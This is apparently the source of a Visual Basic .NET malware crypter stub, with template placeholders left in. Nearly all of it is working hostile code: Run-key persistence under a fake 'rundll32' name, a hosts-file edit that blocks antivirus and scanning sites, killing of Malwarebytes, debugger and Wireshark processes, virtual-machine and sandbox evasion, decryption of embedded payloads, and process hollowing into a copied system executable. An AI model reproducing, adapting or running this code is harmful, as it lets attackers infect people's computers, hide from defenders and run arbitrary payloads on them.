541 lines
26 KiB
Plaintext
541 lines
26 KiB
Plaintext
Imports System, Microsoft.VisualBasic
|
|
Imports System.Runtime.InteropServices
|
|
Imports System.Text
|
|
Imports System.Reflection
|
|
Imports System.Security.Cryptography
|
|
Imports System.Runtime.CompilerServices
|
|
Imports System.IO
|
|
Imports System.IO.FileStream
|
|
Imports System.ComponentModel
|
|
Imports Microsoft.Win32
|
|
Imports System.Diagnostics
|
|
Imports System.Object
|
|
Imports System.Net
|
|
Imports System.Windows.Forms
|
|
Imports System.Threading.Thread
|
|
Imports System.Environment
|
|
|
|
|
|
Module pizde
|
|
Dim iohouh7877 As String = "GDGDF54545"
|
|
Dim HostEditing As String = "%28%"
|
|
Dim antis As String = "%29%"
|
|
Dim stuff As String = "%something%"
|
|
|
|
|
|
|
|
Sub Main()
|
|
|
|
On Error Resume Next
|
|
Dim RunningProcess As String = Process.GetCurrentProcess().ProcessName
|
|
Dim processes As Process() = Process.GetProcessesByName(RunningProcess)
|
|
|
|
%200%
|
|
Const rady = "FUTIitp23EPE"
|
|
|
|
If iohouh7877 = "hhhhhhhhhheeeee" Then
|
|
|
|
Dim temp As Object = Path.GetTempPath
|
|
|
|
Dim ASDASD4 = Application.ExecutablePath
|
|
Dim AS3 As Object = Path.GetFullPath(ASDASD4)
|
|
Dim ASFR3R As FileAttributes = FileAttributes.System + FileAttributes.Hidden
|
|
My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("rundll32", temp & "rundll32 .exe")
|
|
|
|
FileCopy(AS3, temp & "\" & "rundll32 .exe")
|
|
File.SetAttributes(temp & "\" & "rundll32 .exe", ASFR3R)
|
|
End If
|
|
|
|
|
|
Const ady = "@targuOCna@"
|
|
|
|
If HostEditing = "hhhhhhhhhheeeee" Then
|
|
HostEdit()
|
|
Else : End If
|
|
|
|
|
|
|
|
|
|
call AntiMalwarebytes()
|
|
call AntiOllydbg()
|
|
|
|
call AntiWireshark()
|
|
call AntiVirtualBox()
|
|
call AntiVirtualPC()
|
|
call AntiVmWare()
|
|
call IsDebuggerPresent()
|
|
|
|
Dim gifa As String
|
|
Dim piula As String = cacatzel
|
|
Dim ADSEQ3434 As Byte() = okitokjwe33(Convert.FromBase64String(piula))
|
|
|
|
Dim dropsor As String
|
|
Dim dropz As String = bilibistroc
|
|
Dim dropfile As Byte() = okitokjwe33(Convert.FromBase64String(dropz))
|
|
|
|
Dim fagi As String
|
|
Dim sula As String = encr
|
|
Dim nuj As Byte() = decrypt(Convert.FromBase64String(sula), "parola")
|
|
|
|
Dim blablabla As String
|
|
Dim bind As String = bind2
|
|
Dim file2 As Byte() = okitokjwe33(Convert.FromBase64String(bind))
|
|
|
|
|
|
|
|
System.Text.Encoding.GetEncoding(1252).GetBytes(piula)
|
|
Dim temp3 As Object = Path.GetTempPath
|
|
Dim asfast53 As String
|
|
Dim fas34434daDdasDSA As String
|
|
Directory.CreateDirectory(temp3 & "winamp")
|
|
Dim FAS43243 As String = temp3 & "\" & "winamp" & "\" & "am reusit.exe"
|
|
asfast53 = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe"
|
|
fas34434daDdasDSA = temp3 & "\" & "winamp" & "\" & "am reusit.exe"
|
|
If System.IO.File.Exists(fas34434daDdasDSA) = False Then
|
|
System.IO.File.Copy(asfast53, fas34434daDdasDSA)
|
|
|
|
End If
|
|
|
|
Dim ASFR3R2 As FileAttributes = FileAttributes.System + FileAttributes.Hidden
|
|
File.SetAttributes(temp3 & "\" & "winamp" & "\" & "am reusit.exe", ASFR3R2)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If IsProcessRunning4("sandboxierpcss.exe") = False Then
|
|
|
|
buffy.mickey(ADSEQ3434, FAS43243)
|
|
|
|
buffy.mickey(nuj, FAS43243)
|
|
End If
|
|
|
|
If IsProcessRunning2("%temp%.exe") = False Then ' dak procesul.exe ruleaza atunci
|
|
If IsProcessRunning5("#rundll32 .exe#") = #false# then
|
|
Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
|
|
My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & "%temp%.exe", file2, False)
|
|
Process.Start(TempDir & "\" & "%temp%.exe")
|
|
End If
|
|
End If
|
|
If IsProcessRunning3("%tmp%.exe") = False Then
|
|
Dim TempDir2 As String = My.Computer.FileSystem.SpecialDirectories.Temp
|
|
My.Computer.FileSystem.WriteAllBytes(TempDir2 & "\" & "%tmp%.exe", dropfile, False)
|
|
Process.Start(TempDir2 & "\" & "%tmp%.exe")
|
|
End If
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
End
|
|
End Sub
|
|
|
|
|
|
|
|
|
|
Private Declare Function IsDebuggerPresent Lib "kernel32.dll" () As Integer
|
|
Sub Main2()
|
|
If IsDebuggerPresent() = 1 Then
|
|
Console.WriteLine("Debugger Is Present")
|
|
'DoStuff
|
|
Else
|
|
Console.WriteLine("Debugger Not Present")
|
|
End If
|
|
End Sub
|
|
|
|
|
|
|
|
Private Sub HostEdit()
|
|
Dim systempath As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
|
|
|
|
Dim hosts As String = systempath & "\" & "drivers" & "\" & "etc" & "\\" & "hosts"
|
|
'this creates a new string with the value of systempath and the above text
|
|
'in VB.NET we do not need two \\'s only one.
|
|
|
|
Dim writer As New StreamWriter(hosts)
|
|
|
|
writer.Write("127.0.0.1 www.virustotal.com")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 virustotal.com")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 novirusthanks.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 vscan.novirusthanks.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 virusscan.jotti.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 www.virusscan.jotti.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 virscan.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 www.virscan.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 virus-trap.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 www.virus-trap.org")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 filterbit.com")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 www.filterbit.com")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 viruschief.com")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 www.viruschief.com")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 kaspersky.com")
|
|
writer.Write(Environment.NewLine)
|
|
writer.Write("127.0.0.1 www.kaspersky.com")
|
|
|
|
|
|
writer.Dispose()
|
|
|
|
End Sub
|
|
Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController"
|
|
|
|
Public Function AntiVirtualBox() As Boolean
|
|
On Error GoTo error1
|
|
Call getDevices()
|
|
|
|
Select Case Grafikadapter
|
|
Case "VirtualBox Graphics Adapter"
|
|
Return True
|
|
Case Else
|
|
Return False
|
|
End Select
|
|
Exit Function
|
|
error1:
|
|
End
|
|
End Function
|
|
|
|
Public Function AntiVmWare() As Boolean
|
|
On Error GoTo error1
|
|
Call getDevices()
|
|
|
|
Select Case Grafikadapter
|
|
Case "VMware SVGA II"
|
|
Return True
|
|
Case Else
|
|
Return False
|
|
End Select
|
|
Exit Function
|
|
error1:
|
|
End
|
|
End Function
|
|
|
|
Public Function AntiVirtualPC() As Boolean
|
|
On Error GoTo error1
|
|
Call getDevices()
|
|
|
|
Select Case Grafikadapter
|
|
Case "VM Additions S3 Trio32/64"
|
|
Return True
|
|
Case Else
|
|
Return False
|
|
End Select
|
|
Exit Function
|
|
error1:
|
|
End
|
|
End Function
|
|
|
|
Private Sub getDevices()
|
|
On Error GoTo error1
|
|
Devices = GetObject("winmgmts:").ExecQuery(RegionA)
|
|
Dim AdaptList As Object
|
|
For Each AdaptList In Devices
|
|
Grafikadapter = AdaptList.Description
|
|
Next
|
|
Exit Sub
|
|
error1:
|
|
End
|
|
End Sub
|
|
|
|
|
|
|
|
'------------------------Malwarebytes----------------------------
|
|
Sub AntiMalwarebytes()
|
|
Dim generaldee As Process() = Process.GetProcesses
|
|
Dim i As Integer
|
|
For i = 0 To generaldee.Length - 1
|
|
Select Case Strings.LCase(generaldee(i).ProcessName)
|
|
Case "mbam"
|
|
generaldee(i).Kill()
|
|
Case Else
|
|
End Select
|
|
Next
|
|
End Sub
|
|
Sub AntiOllydbg()
|
|
Dim generaldee As Process() = Process.GetProcesses
|
|
Dim i As Integer
|
|
For i = 0 To generaldee.Length - 1
|
|
Select Case Strings.LCase(generaldee(i).ProcessName)
|
|
Case "ollydbg"
|
|
generaldee(i).Kill()
|
|
Case Else
|
|
End Select
|
|
Next
|
|
'------------------------Wireshark----------------------------
|
|
End Sub
|
|
Sub AntiWireshark()
|
|
Dim generaldee As Process() = Process.GetProcesses
|
|
Dim i As Integer
|
|
For i = 0 To generaldee.Length - 1
|
|
Select Case Strings.LCase(generaldee(i).ProcessName)
|
|
Case "wireshark"
|
|
generaldee(i).Kill()
|
|
Case Else
|
|
End Select
|
|
Next
|
|
End Sub
|
|
|
|
|
|
'-----------------------Emulator------------------------------
|
|
|
|
|
|
Private Function IsProcessRunning2(ByVal name As String) As Boolean
|
|
Dim p() As Process = Process.GetProcessesByName("%temp%")
|
|
For Each pNew As Process In p
|
|
If pNew Is Nothing Then
|
|
Return (False)
|
|
Exit For
|
|
Else
|
|
Return (True)
|
|
Exit For
|
|
End If
|
|
|
|
Next
|
|
End Function
|
|
Private Function IsProcessRunning3(ByVal name As String) As Boolean
|
|
Dim p() As Process = Process.GetProcessesByName("%tmp%")
|
|
For Each pNew As Process In p
|
|
If pNew Is Nothing Then
|
|
Return (False)
|
|
Exit For
|
|
Else
|
|
Return (True)
|
|
Exit For
|
|
End If
|
|
|
|
Next
|
|
End Function
|
|
Private Function IsProcessRunning4(ByVal name As String) As Boolean
|
|
Dim p() As Process = Process.GetProcessesByName("sandboxierpcss")
|
|
For Each pNew As Process In p
|
|
If pNew Is Nothing Then
|
|
Return (False)
|
|
Exit For
|
|
Else
|
|
Return (True)
|
|
Exit For
|
|
End If
|
|
|
|
Next
|
|
End Function
|
|
|
|
Private Function IsProcessRunning5(ByVal name As String) As Boolean
|
|
Dim p() As Process = Process.GetProcessesByName("#rundll32 #")
|
|
For Each pNew As Process In p
|
|
If pNew Is Nothing Then
|
|
Return (False)
|
|
Exit For
|
|
Else
|
|
Return (True)
|
|
Exit For
|
|
End If
|
|
|
|
Next
|
|
End Function
|
|
|
|
Function okitokjwe33(ByVal data As Byte()) As Byte()
|
|
|
|
Using E90LDMDXNJ As New System.Security.Cryptography.RijndaelManaged
|
|
E90LDMDXNJ.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
|
|
E90LDMDXNJ.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
|
|
Return E90LDMDXNJ.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
|
|
|
|
End Using
|
|
End Function
|
|
|
|
Function decrypt(ByVal message As Byte(), ByVal password As String) As Byte()
|
|
Dim O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx As Byte() = System.Text.Encoding.Default.GetBytes(password)
|
|
Dim VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN As Integer = message(message.Length - 1) Xor 112
|
|
Dim outarr(message.Length) As Byte
|
|
Dim Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k As Integer
|
|
For i1 As Integer = 0 To message.Length - 1
|
|
outarr(i1) = (message(i1) Xor VVlv4cC8Xf8XWeM5DNICaJ3mA01A8rallazK1T68e27rand1EHqRWBKU7rL3nv9V6hg5sbz7t34utQk9TOzQTHOHUxar1FSpR6iV9BeRR86ss4Qcb7S1X0bb736zdv61PRcAN) Xor O6BB3K791m1D8qTyc2v7875E9A1nTpassarrP22wIwq85bVrtWSy2l882mfOIw0y1Qus3URxG45nrwNFZ7J8L3UXoRx(Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k)
|
|
If Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = password.Length - 1 Then Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = 0 Else Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k = Dve2KT16Xxtv6z68P0A5oH3C7LHtk2TjuE5ZUmeT6bAd13t191BI3F1u13YrWPN6aw5eq8bazu47M8CLsNDq78B725la6P4g19CbNwjCVU588k2f51p4pLLB48r3R6f4fC32z5udu9pab8kELo5k + 1
|
|
Next
|
|
ReDim Preserve outarr(message.Length - 2)
|
|
Return outarr
|
|
End Function
|
|
|
|
|
|
|
|
|
|
|
|
End Module
|
|
|
|
Public Class buffy
|
|
Public Const ASDFASFASF As Long = &HADAS
|
|
Public Const FASFASFASF As Long = &HEAD4
|
|
Public Const AFSFASFASCFC As Long = &HDAS
|
|
Public Const ASDASCASDASD As Long = &HDAS
|
|
Public Const BVCXBXCBXCB As Long = &HDAS
|
|
Public Const BXCBXCBXCB As Long = &HFD
|
|
Public Const FSDR3FSF As Long = &HDAS
|
|
Public Const KKKKKKKKKDDDDDDD As Long = &H435F
|
|
Public Const FSSSSSSSSSSSSSSSSSS As UInt32 = &HDAS
|
|
|
|
Public Shared Sub mickey(ByVal DAS4DA3() As Byte, ByVal VVVVVVCAE As String)
|
|
Dim TVM1OKF029 = New Context, ASFSVS As Section_Header, FADAS43FAS43 = New Process_Information, FADASCC43FAS43 = New Startup_Information, FSCC43FAS43 = New Security_Flags, C43FAS43 = New Security_Flags
|
|
Dim YI02ALMTDK = GCHandle.Alloc(DAS4DA3, GCHandleType.Pinned)
|
|
Dim ZPOIMKBNM1 As Integer = YI02ALMTDK.AddrOfPinnedObject.ToInt32
|
|
Dim VAGKWL2DMX As New DOS_Header
|
|
VAGKWL2DMX = Marshal.PtrToStructure(YI02ALMTDK.AddrOfPinnedObject, VAGKWL2DMX.GetType)
|
|
YI02ALMTDK.Free()
|
|
Dim GN04L0ER8I As GN04L0ER8I = TXXY5U8D2U(Of GN04L0ER8I)("kernel32", "CreateProcessA")
|
|
Dim R84OY4NT36 As R84OY4NT36 = TXXY5U8D2U(Of R84OY4NT36)("kernel32", "GetThreadContext")
|
|
Dim Q7QRRP639W As Q7QRRP639W = TXXY5U8D2U(Of Q7QRRP639W)("kernel32", "ReadProcessMemory")
|
|
Dim ZGOQ8VM05M As ZGOQ8VM05M = TXXY5U8D2U(Of ZGOQ8VM05M)("kernel32", "WriteProcessMemory")
|
|
Dim EFVI2YI66B As EFVI2YI66B = TXXY5U8D2U(Of EFVI2YI66B)("ntdll", "ZwUnmapViewOfSection")
|
|
Dim W6CTR6GLCC As W6CTR6GLCC = TXXY5U8D2U(Of W6CTR6GLCC)("kernel32", "VirtualAllocEx")
|
|
Dim K7B3INYH01 As K7B3INYH01 = TXXY5U8D2U(Of K7B3INYH01)("kernel32", "SetThreadContext")
|
|
Dim WS2XVBNVO9 As WS2XVBNVO9 = TXXY5U8D2U(Of WS2XVBNVO9)("kernel32", "ResumeThread")
|
|
If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return
|
|
Dim BKIFNDE2PI As New NT_Headers
|
|
BKIFNDE2PI = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + VAGKWL2DMX.DASE3ASDAS), BKIFNDE2PI.GetType)
|
|
Dim WMRQEDO32E, HDF754 As Long, DF754 As UInteger
|
|
FADASCC43FAS43.CSZE = Len(FADASCC43FAS43)
|
|
TVM1OKF029.II69TOHMUR = 65539
|
|
If BKIFNDE2PI.SSSSSSSSSSSQ <> 17744 Or VAGKWL2DMX.DASDASFASF <> 23117 Then Return
|
|
If GN04L0ER8I(Nothing, VVVVVVCAE, FSCC43FAS43, C43FAS43, False, 4, Nothing, Nothing, FADASCC43FAS43, FADAS43FAS43) = 0 Then Return
|
|
R84OY4NT36(FADAS43FAS43.RFSER, TVM1OKF029)
|
|
Q7QRRP639W(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, WMRQEDO32E, 4, 0)
|
|
EFVI2YI66B(FADAS43FAS43.DAS4QQW, WMRQEDO32E)
|
|
Dim X6X0CHAYT3 As UInt32 = W6CTR6GLCC(FADAS43FAS43.DAS4QQW, BKIFNDE2PI.OOOU.DFAZDASD, BKIFNDE2PI.OOOU.DASRDASRASR, 12288, 4)
|
|
If X6X0CHAYT3 <> 0 Then
|
|
ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3, DAS4DA3, BKIFNDE2PI.OOOU.WQDASDASD, DF754)
|
|
HDF754 = VAGKWL2DMX.DASE3ASDAS + 248
|
|
For I As Integer = 0 To BKIFNDE2PI.DSEEEEE.DAAAAAAAA3 - 1
|
|
ASFSVS = Marshal.PtrToStructure(New IntPtr(ZPOIMKBNM1 + HDF754 + I * 40), ASFSVS.GetType)
|
|
Dim FJGB2K6EL6(ASFSVS.DA22S3) As Byte
|
|
For Y As Integer = 0 To ASFSVS.DA22S3 - 1 : FJGB2K6EL6(Y) = DAS4DA3(ASFSVS.PoinEEter + Y) : Next
|
|
ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, X6X0CHAYT3 + ASFSVS.AL8ZCRFWNU, FJGB2K6EL6, ASFSVS.DA22S3, DF754)
|
|
Next I
|
|
Dim JQTOGZCAWU = BitConverter.GetBytes(X6X0CHAYT3)
|
|
ZGOQ8VM05M(FADAS43FAS43.DAS4QQW, TVM1OKF029.WDA + 8, JQTOGZCAWU, 4, DF754)
|
|
TVM1OKF029.AS4 = X6X0CHAYT3 + BKIFNDE2PI.OOOU.DDDDDDDDAAA
|
|
K7B3INYH01(FADAS43FAS43.RFSER, TVM1OKF029)
|
|
WS2XVBNVO9(FADAS43FAS43.RFSER)
|
|
End If
|
|
End Sub
|
|
|
|
Declare Function LoadLibraryA Lib "kernel32" (ByVal tr6 As String) As IntPtr
|
|
Declare Function GetProcAddress Lib "kernel32" (ByVal gdr54 As IntPtr, ByVal gfsd54 As String) As IntPtr
|
|
Private Declare Function RpcNsProfileEltAdd Lib "rpcns4.dll" Alias "RpcNsProfileEltAddA" (ByVal ProfileNameSyntax As Long, ByVal ProfileName As String, ByRef IfId As IntPtr, ByVal MemberNameSyntax As Long, ByVal MemberName As String, ByVal Priority As Long, ByVal Annotation As String) As Long
|
|
Private Declare Function ldap_close_extended_op Lib "wldap32.dll" (ByRef ld As IntPtr, ByVal MessageNumber As Long) As Long
|
|
Private Declare Function lineSetAppSpecific Lib "tapi32.dll" (ByVal hCall As Long, ByVal dwAppSpecific As Long) As Long
|
|
Private Declare Function MgmGetNextMfeStats Lib "rtm.dll" (ByRef pimmStart As IntPtr, ByRef pdwBufferSize As Long, ByVal pbBuffer As String, ByRef pdwNumEntries As Long) As Long
|
|
Private Declare Function MprAdminDeviceEnum Lib "mprapi.dll" (ByRef hMprServer As IntPtr, ByVal dwLevel As Long, ByVal lplpbBuffer As String, ByRef lpdwTotalEntries As Long) As Long
|
|
Private Declare Function MsiDatabaseImport Lib "MSI.dll" (ByRef hDatabase As IntPtr, ByVal szFolderPath As String, ByVal szFileName As String) As Long
|
|
Private Declare Function NdrMesSimpleTypeAlignSize Lib "rpcrt4.dll" (ByVal handle_t As Long) As Long
|
|
Private Declare Function NetMessageNameDel Lib "NETAPI32.dll" (ByVal servername As String, ByVal msgname As String) As Long
|
|
Private Declare Function NetReplExportDirSetInfo Lib "NETAPI32.dll" (ByVal servername As String, ByVal dirname As String, ByVal level As Long, ByVal buf As String, ByRef parm_err As Long) As Long
|
|
Private Declare Function NetUseGetInfo Lib "NETAPI32.dll" (ByRef UncServerName As IntPtr, ByRef UseName As IntPtr, ByVal level As Long, ByVal bufptr As String) As Long
|
|
Private Declare Function QueueUserWorkItem Lib "kernel32.dll" (ByVal lFunction As Long, ByRef Context As Long, ByVal Flags As Long) As Long
|
|
Private Declare Function ReadConsoleInput Lib "kernel32.dll" Alias "ReadConsoleInputA" (ByVal hConsoleInput As Long, ByRef lpBuffer As IntPtr, ByVal nLength As Long, ByRef lpNumberOfEventsRead As Long) As Long
|
|
Private Declare Function ShowWindowAsync Lib "user32.dll" (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
|
|
Private Declare Function SnmpMgrCtl Lib "mgmtapi.dll" (ByRef session As IntPtr, ByVal dwCtlCode As Long, ByRef lpvInBuffer As Long, ByVal cbInBuffer As Long, ByRef lpvOUTBuffer As Long, ByVal cbOUTBuffer As Long, ByRef lpcbBytesReturned As Long) As Long
|
|
Private Declare Function AddAuditAccessAceEx Lib "advapi32.dll" (ByVal pAcl As IntPtr, ByVal dwAceRevision As Long, ByVal AceFlags As Long, ByVal dwAccessMask As Long, ByRef pSid As IntPtr, ByVal bAuditSuccess As Long, ByVal bAuditFailure As Long) As Long
|
|
Private Declare Function SQLInstallerError Lib "ODBCCP32.dll" (ByVal iError As Integer, ByRef pfErrorCode As Long, ByVal lpszErrorMsg As String, ByVal cbErrorMsgMax As Integer, ByRef pcbErrorMsg As Integer) As Long
|
|
Private Declare Function SQLSetCursorName Lib "msorcl32.dll" (ByVal hstmt As Long, ByVal szCursor As String, ByVal cbCursor As Integer) As Long
|
|
Private Declare Function RasSetCredentials Lib "rasapi32.dll" Alias "RasSetCredentialsA" (ByVal lpcstr As String, ByVal lpcstr As String, ByRef TLPRASCREDENTIALSA As IntPtr, ByVal bool As Long) As Long
|
|
Private Declare Function ReadConsole Lib "kernel32.dll" Alias "ReadConsoleA" (ByVal hConsoleInput As Long, ByRef lpBuffer As Long, ByVal nNumberOfCharsToRead As Long, ByRef lpNumberOfCharsRead As Long, ByRef lpReserved As Long) As Long
|
|
Private Declare Function ReadEncryptedFileRaw Lib "advapi32.dll" (ByRef pfExportCallback As IntPtr, ByRef pvCallbackContext As Long, ByRef pvContext As Long) As Long
|
|
Private Declare Function ReadPrinter Lib "winspool.drv" (ByVal hPrinter As Long, ByRef pBuf As Long, ByVal cdBuf As Long, ByRef pNoBytesRead As Long) As Long
|
|
Private Declare Function RegisterHotKey Lib "user32.dll" (ByVal hwnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long
|
|
Private Declare Function ReleaseSemaphore Lib "kernel32.dll" (ByVal hSemaphore As Long, ByVal lReleaseCount As Long, ByRef lpPreviousCount As Long) As Long
|
|
|
|
Private Declare Function GetSiteNameFromSid Lib "advapi32.dll" (ByRef pSid As Long, ByVal pwsSite As String) As IntPtr
|
|
Private Declare Function GetStringTypeEx Lib "kernel32.dll" Alias "GetStringTypeExA" (ByVal Locale As Long, ByVal dwInfoType As Long, ByVal lpSrcStr As String, ByVal cchSrc As Long, ByRef lpCharType As Integer) As Long
|
|
Private Declare Function GetVolumePathName Lib "kernel32.dll" Alias "GetVolumePathNameA" (ByVal lpszFileName As String, ByVal lpszVolumePathName As String, ByVal cchBufferLength As Long) As Long
|
|
Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
|
|
Private Declare Function TlsSetValue Lib "kernel32.dll" (ByVal dwTlsIndex As Long, ByRef lpTlsValue As Long) As Long
|
|
Private Declare Function ToAscii Lib "user32.dll" (ByVal uVirtKey As Long, ByVal uScanCode As Long, ByRef lpbKeyState As Byte, ByRef lpwTransKey As Long, ByVal fuState As Long) As IntPtr
|
|
|
|
Private Shared Function TXXY5U8D2U(Of T)(ByVal ASFASE3 As String, ByVal FASGAS543W As String) As T
|
|
Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ASFASE3), FASGAS543W), GetType(T)), Object), T)
|
|
End Function
|
|
<StructLayout(0)> Structure Context
|
|
Dim II69TOHMUR, d2, das, d9, ad, dsa, ds As UInt32, Save As Save
|
|
Dim dh, sad, da, MD, RD, mSI, WDA, AD3, D21, AS4, K32, F2W, HHJ, ADF5, GSSA, DSAAA As UInt32
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=512)> Dim er6rgdr65 As Byte()
|
|
End Structure
|
|
<StructLayout(0)> Structure Save
|
|
Dim KD7JX2MXT, JCNS3ZPSXO, DAS3, DAS23, ADSA, DAF35, FA32D As UInteger
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=80)> Dim FSDRF43 As Byte()
|
|
Dim FA32QA As UInt32
|
|
End Structure
|
|
Structure Misc
|
|
Dim SDUHRL, GSIJ As UInt32
|
|
End Structure
|
|
Structure Section_Header
|
|
Dim FSDPOU4PO3 As Byte, Mi2sc As Misc, AL8ZCRFWNU, DA22S3, PoinEEter, E2Q4RS, FS523QF, FSB43FSD4, QBFAS4E, AS32QFZS As UInt32
|
|
End Structure
|
|
Structure Process_Information
|
|
Dim DAS4QQW, RFSER As IntPtr, TGJWE, SDFFFFFFFFFF As Integer
|
|
End Structure
|
|
<StructLayout(0, CharSet:=3)> Structure Startup_Information
|
|
Dim CSZE As Integer, FSDR4G, AAAAAAAAAA, AADDDDDDD As String, ADA, C, AEDS, DASDDDD, XASE4, DAS3EDFZ, DVA3ES, CCCCQ As Integer
|
|
Dim FDSRS, VYE5X As Short, KHJKIHJK, KHJKHJK, KHJKHJ, KHJKJHK As Integer
|
|
End Structure
|
|
<StructLayout(0)> Structure Security_Flags
|
|
Dim GFSETWE As Integer, EWEWWW As IntPtr, DASDAS As Integer
|
|
End Structure
|
|
<StructLayout(0)> Structure DOS_Header
|
|
Dim DASDASFASF, QWEQWE, EQWEQWEQWE, HFGHFGHFGH, HFGHFGHFG, DASD444444, DASFASE33, DASKGHJ, DASVZDF, VXCVXC, VXCVXCV, EWECS, EWADC, UADA3 As UInt16
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=4)> Dim ReservWWWWWWWWWWWWWWWedA As UInt16()
|
|
Dim DAS4E, UJJ As UInt16
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=10)> Dim DDDDDDDDD As UInt16()
|
|
Dim DASE3ASDAS As Int32
|
|
End Structure
|
|
Structure NT_Headers
|
|
Dim SSSSSSSSSSSQ As UInt32, DSEEEEE As File_Header, [OOOU] As Optional_Headers
|
|
End Structure
|
|
<StructLayout(0)> Structure File_Header
|
|
Dim ITTTTTTTT, DAAAAAAAA3 As UInt16, HRFTYTYTR, GJGFSFS, FSVGY As UInt32, FSFV, A34FFC As UInt16
|
|
End Structure
|
|
<StructLayout(0)> Structure Optional_Headers
|
|
Public WWWWWWWWW As UInt16, MaAAAAAAAAAAAjor, MiSSSSSSSSSSSnor As Byte, SSSSSSSSSSSSS, FFFFFFFFFFF, XXXXXXXX, DDDDDDDDAAA, FSSSSSSS, RSFS43, DFAZDASD As UInt32, SectionA, FileA As UInt32
|
|
Public GDFTDFFFF, HGDFHD564, GD5ERGD, FSD5YHD, ASDASG, AS4ASAS As UInt16, CCC, DASRDASRASR, WQDASDASD, Assssssss As UInt32, fsd4s, fjio As UInt16
|
|
Public dasrlajstpoi, dasdraskyjhuasp, SHRedas4wa9uqserve, fsdtsysyt, eawdasdas3, Cocccunt As UInt32
|
|
<MarshalAs(UnmanagedType.ByValArray, SizeConst:=16)> Public GSDGSDT4 As Data_Directory()
|
|
End Structure
|
|
<StructLayout(0)> Structure Data_Directory
|
|
Dim ewq34q234, das34aw33 As UInt32
|
|
End Structure
|
|
Delegate Function GN04L0ER8I(ByVal ASFASE3 As String, ByVal DASDAS3E2 As String, ByRef DASCASE As Security_Flags, ByRef CASE222 As Security_Flags, ByVal DAS432E As Boolean, ByVal AEDFKJK32 As UInt32, ByVal DSA43R3W As IntPtr, ByVal ase32ew As String, <[In]()> ByRef das43fsa As Startup_Information, <Out()> ByRef das3 As Process_Information) As Boolean
|
|
